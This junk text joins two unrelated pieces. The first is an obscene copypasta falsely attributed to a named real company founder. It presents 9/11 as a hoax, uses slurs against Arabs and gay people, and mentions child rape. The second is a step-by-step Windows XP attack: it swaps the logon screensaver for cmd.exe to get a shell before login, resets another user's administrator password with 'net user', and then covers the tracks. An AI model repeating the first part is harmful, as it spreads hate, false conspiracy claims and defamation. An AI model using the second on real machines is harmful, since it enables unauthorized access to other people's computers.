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Hi, I'm George Zimmer, founder and CEO of Mens Warehouse.
9/11 was a lie. There were no towel heads.There was no plane. In truth, I was visiting the Big Apple so as to compare it to my gargantuan meat train and laugh at the awestruck New Yorkers as I pounded their beloved namesake into Big Applesauce. Having not achieved release during my culinary exercise, I meandered down the street with my vital blood-engorged sewer pipe in front of me like a blind mans cane looking for a hole in the backside of a woman that I could stretch beyond human limits. At that moment I spotted a very attractive young woman in a miniskirt waving at me. Hurriedly I slapped her to the ground with my enormous phallus and made quick work of her skirt much like a starved dog with a baby made of steak. The sight that awaited both shocked and enraged me. Staring down at this "woman"'s raisin sized winky winkler, I immediately vomited down his throat and then penetrated his esophagus, ripped out his spine, and tore his corpse from my moneymaker. To teach all of New York a lesson for letting this flaming fag bag live, I let loose a seminal flood of Biblical proportions upon the towers of two (at whom's size I laughed at like a clown raping an 8 year old) which caused them to come crashing down like me after a weekend-long meth binge. I mocked the New Yorkers and screamed racy jokes as I ran from my ever expanding cloud of spermatazoa; masturbating to the looks of horror on their faces. The government, in an attempt to save face and because they hate Arabs more than Jews, painted a Boeing 767 on my mungo mustard cannon and called it a terrorist attack. The feeling of paintbrushes on my dick made me come again and President Bush snorted it all up because he thought it was coke.
I guarantee it.
A quick hack to reset your administrator password, from almost any account.
If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly:
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backs up logon.scr
copy cmd.exe temphack\cmd.exe *backs up cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes:
“net user password”
If the Administrator Account is called Frank and you want the password blah enter this
“net user Frank blah”
and this changes the password on franks machine to “blah” and your in.
Good luck!
p.s: Don’t forget to copy the contents of temphack back into the system32 dir to cover tracks. Also, if you cannot rename “cmd.exe” to “logon.scr,” you can just go into your cmd and type “net user blah blah blah” and it will still work, just not as well.
